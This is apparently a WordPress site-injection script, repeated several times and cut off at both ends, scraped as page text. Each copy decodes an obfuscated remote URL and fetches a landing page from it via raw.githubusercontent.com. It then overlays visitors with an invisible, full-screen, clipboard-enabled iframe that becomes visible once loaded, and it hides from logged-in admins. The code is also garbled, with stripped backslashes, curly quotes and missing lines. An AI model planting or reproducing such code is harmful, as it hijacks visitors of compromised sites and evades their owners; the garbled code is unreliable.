var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
